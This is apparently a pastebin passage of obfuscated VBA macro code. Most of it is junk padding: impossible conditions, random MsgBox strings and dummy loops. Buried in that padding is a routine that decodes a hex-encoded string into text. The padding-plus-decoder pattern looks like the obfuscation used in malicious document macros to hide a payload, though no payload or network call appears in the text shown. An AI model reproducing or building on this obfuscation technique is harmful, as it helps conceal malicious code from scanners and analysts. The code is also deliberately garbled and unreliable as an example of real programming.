- If Len("XcCpAPgs3969") = Len("iXVYZboO") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("Error !!!")
- End If
- If 649897 = 649897 + 1 Then End
- If 6268 < 96 Then
- MsgBox ("zoYdthEn49")
- End If
- If Len("VQZGylnh4225") = Len("ZBvZKGil") Then
- MsgBox ("Error !!!")
- End If
- HzrnRlvZBXDCsiE63 = 1492
- For BdHMbPJymnWvSvj89 = 0 To 93
- If 224155 = 224155 + 1 Then End
- If 5713 < 82 Then
- If 996294 = 996294 + 1 Then End
- If 1377 < 99 Then
- MsgBox ("aJldJluy12")
- End If
- If Len("lLRUuNza7434") = Len("EkRriGWc") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("RCrwJfyT63")
- End If
- If Len("LhXhEVJz3861") = Len("QValMyXK") Then
- If 467893 = 467893 + 1 Then End
- If 1554 < 49 Then
- MsgBox ("ySZABgYl22")
- End If
- If Len("wtlwSBlH8612") = Len("BljpcmNW") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("Error !!!")
- End If
- If 141598 = 141598 + 1 Then End
- If 4233 < 15 Then
- MsgBox ("tgGAdgJR27")
- End If
- If Len("ckNXZCQb8876") = Len("XqpOuczI") Then
- MsgBox ("Error !!!")
- End If
- HzrnRlvZBXDCsiE63 = HzrnRlvZBXDCsiE63 + BdHMbPJymnWvSvj89
- If 843589 = 843589 + 1 Then End
- If 6156 < 57 Then
- If 466479 = 466479 + 1 Then End
- If 4433 < 78 Then
- MsgBox ("KldSvRnl97")
- End If
- If Len("nnNVXXNx9977") = Len("lotesrts") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("XkenaWyh32")
- End If
- If Len("WRlETXsE3113") = Len("yelBYQtN") Then
- If 278313 = 278313 + 1 Then End
- If 5611 < 43 Then
- MsgBox ("qIRkqsxk55")
- End If
- If Len("HyBetYFV2667") = Len("zRNvywIm") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("Error !!!")
- End If
- If 752918 = 752918 + 1 Then End
- If 7389 < 17 Then
- MsgBox ("psKkcdUZ51")
- End If
- If Len("uFFMvjRk5346") = Len("PzPIqSsx") Then
- MsgBox ("Error !!!")
- End If
- DoEvents
- Next BdHMbPJymnWvSvj89
- For rxtFIQsuDNIlBT = 1 To Len(VKfUL) Step 2
- If 471471 = 471471 + 1 Then End
- If 4573 < 79 Then
- If 755769 = 755769 + 1 Then End
- If 4168 < 14 Then
- MsgBox ("DmfDITaZ88")
- End If
- If Len("SUZHfYuH2235") = Len("CyEdgwNd") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("JcDSWaCS23")
- End If
- If Len("DaOfXtWZ2549") = Len("kgTzInZY") Then
- If 643721 = 643721 + 1 Then End
- If 6197 < 95 Then
- MsgBox ("jbtxOrTl48")
- End If
- If Len("BUKIuwtx4254") = Len("JhCSxEqd") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("Error !!!")
- End If
- If 481544 = 481544 + 1 Then End
- If 2526 < 12 Then
- MsgBox ("nJJbqMcm62")
- End If
- If Len("bruZHXZU9683") = Len("QZiVJPxt") Then
- MsgBox ("Error !!!")
- End If
- kSSFs = Chr$(Val(Chr(38) & Chr(72) & Mid$(VKfUL, rxtFIQsuDNIlBT, 2)))
- If 375832 = 375832 + 1 Then End
- If 6576 < 62 Then
- If 574981 = 574981 + 1 Then End
- If 9313 < 37 Then
- MsgBox ("NbylLcOx18")
- End If
- If Len("gJCfTomL7369") = Len("unekWjbO") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("lUsLlvTf74")
- End If
- If Len("NtTRdLXM4633") = Len("qEYafUHj") Then
- If 714375 = 714375 + 1 Then End
- If 5754 < 44 Then
- MsgBox ("JBylcIQV28")
- End If
- If Len("HdwweOJs2712") = Len("gyTiUpim") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("Error !!!")
- End If
- If 894423 = 894423 + 1 Then End
- If 3596 < 59 Then
- MsgBox ("ZupzyCcc65")
- End If
- If Len("RrLTgWSo9653") = Len("xDVPReJV") Then
- MsgBox ("Error !!!")
- End If
- qCQyPBFfTQKdax = qCQyPBFfTQKdax & kSSFs
- Next rxtFIQsuDNIlBT
- If 616294 = 616294 + 1 Then End
- If 7832 < 93 Then
- If 884973 = 884973 + 1 Then End
- If 5561 < 27 Then
- MsgBox ("LSqBMmms92")
- End If
- If Len("KNbzvwnb3527") = Len("evnvbqlX") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("lpvLTbGv56")
- End If
- If Len("zksteJgZ4898") = Len("YTiLGdCY") Then
- If 355682 = 355682 + 1 Then End
- If 3335 < 67 Then
- MsgBox ("VUlfzjMb11")
- End If
- If Len("YGubbIlE1382") = Len("vvdRHHvl") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("Error !!!")
- End If
- If 531757 = 531757 + 1 Then End
- If 3828 < 25 Then
- MsgBox ("YoFPwOHr76")
- End If
- If Len("TxrDaPXj1975") = Len("HMtpzbGF") Then
- MsgBox ("Error !!!")
- End If
- BHUIGiukdf = qCQyPBFfTQKdax
- Dim JzeajhlzOqMBZPw66, qTJnkxMeLIrpGhq89 As Integer
- If 971393 = 971393 + 1 Then End
- If 9847 < 61 Then
- If 937635 = 937635 + 1 Then End
- If 9956 < 34 Then
- MsgBox ("wVxazOKm77")
- End If
- If Len("kAlEeDHp7113") = Len("XGhkGocg") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("hyzYZRoF45")
- End If
- If Len("gljOiTgz7814") = Len("bJkyomov") Then
- If 925686 = 925686 + 1 Then End
- If 3974 < 26 Then
- MsgBox ("BefOzixq38")
- End If
- If Len("RnImXAFJ9131") = Len("GBOHCjUf") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("Error !!!")
- End If
- If 289752 = 289752 + 1 Then End
- If 2677 < 51 Then
- MsgBox ("WNJwNdJn94")
- End If
- If Len("EiRIcRjR9634") = Len("iwAwoNBO") Then
- MsgBox ("Error !!!")
- End If
- qTJnkxMeLIrpGhq89 = 6274
- For JzeajhlzOqMBZPw66 = 0 To 62
- If 323698 = 323698 + 1 Then End
- If 9112 < 35 Then
- If 531557 = 531557 + 1 Then End
- If 6729 < 53 Then
- MsgBox ("YoHbhjeC76")
- End If
- If Len("VqzMYVCJ4776") = Len("pOzjUDHg") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("afyhsLXf16")
- End If
- If Len("jYCpVEUP5756") = Len("WMMVPNhF") Then
- If 793536 = 793536 + 1 Then End
- If 4812 < 63 Then
- MsgBox ("mzuqTRgR54")
- End If
- If Len("PmBtkhaa1868") = Len("fIWLrQIt") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("Error !!!")
- End If
- If 319925 = 319925 + 1 Then End
- If 6827 < 32 Then
- MsgBox ("jVPCZOOM44")
- End If
- If Len("CwtIxran3974") = Len("iMttcKMC") Then
- MsgBox ("Error !!!")
- End If
- qTJnkxMeLIrpGhq89 = qTJnkxMeLIrpGhq89 + JzeajhlzOqMBZPw66
- If 558451 = 558451 + 1 Then End
- If 2295 < 84 Then
- If 928435 = 928435 + 1 Then End
- If 9954 < 34 Then
- MsgBox ("wCnFSZfo77")
- End If
- If Len("knxjFTqB7921") = Len("XFltbzKe") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("RxEcOjEG68")
- End If
- If Len("EPLngkOz9252") = Len("FoMChuZb") Then
- If 617856 = 617856 + 1 Then End
- If 9996 < 86 Then
- MsgBox ("INbLMlRl18")
- End If
- If Len("fcMRFSXB6953") = Len("bXMaGAGw") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("Error !!!")
- End If
- If 641697 = 641697 + 1 Then End
- If 6276 < 96 Then
- MsgBox ("jAMhfQAC49")
- End If
- If Len("BOUAQeaa4233") = Len("ECEhxbOt") Then
- MsgBox ("Error !!!")
- End If
- DoEvents
- Next JzeajhlzOqMBZPw66
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement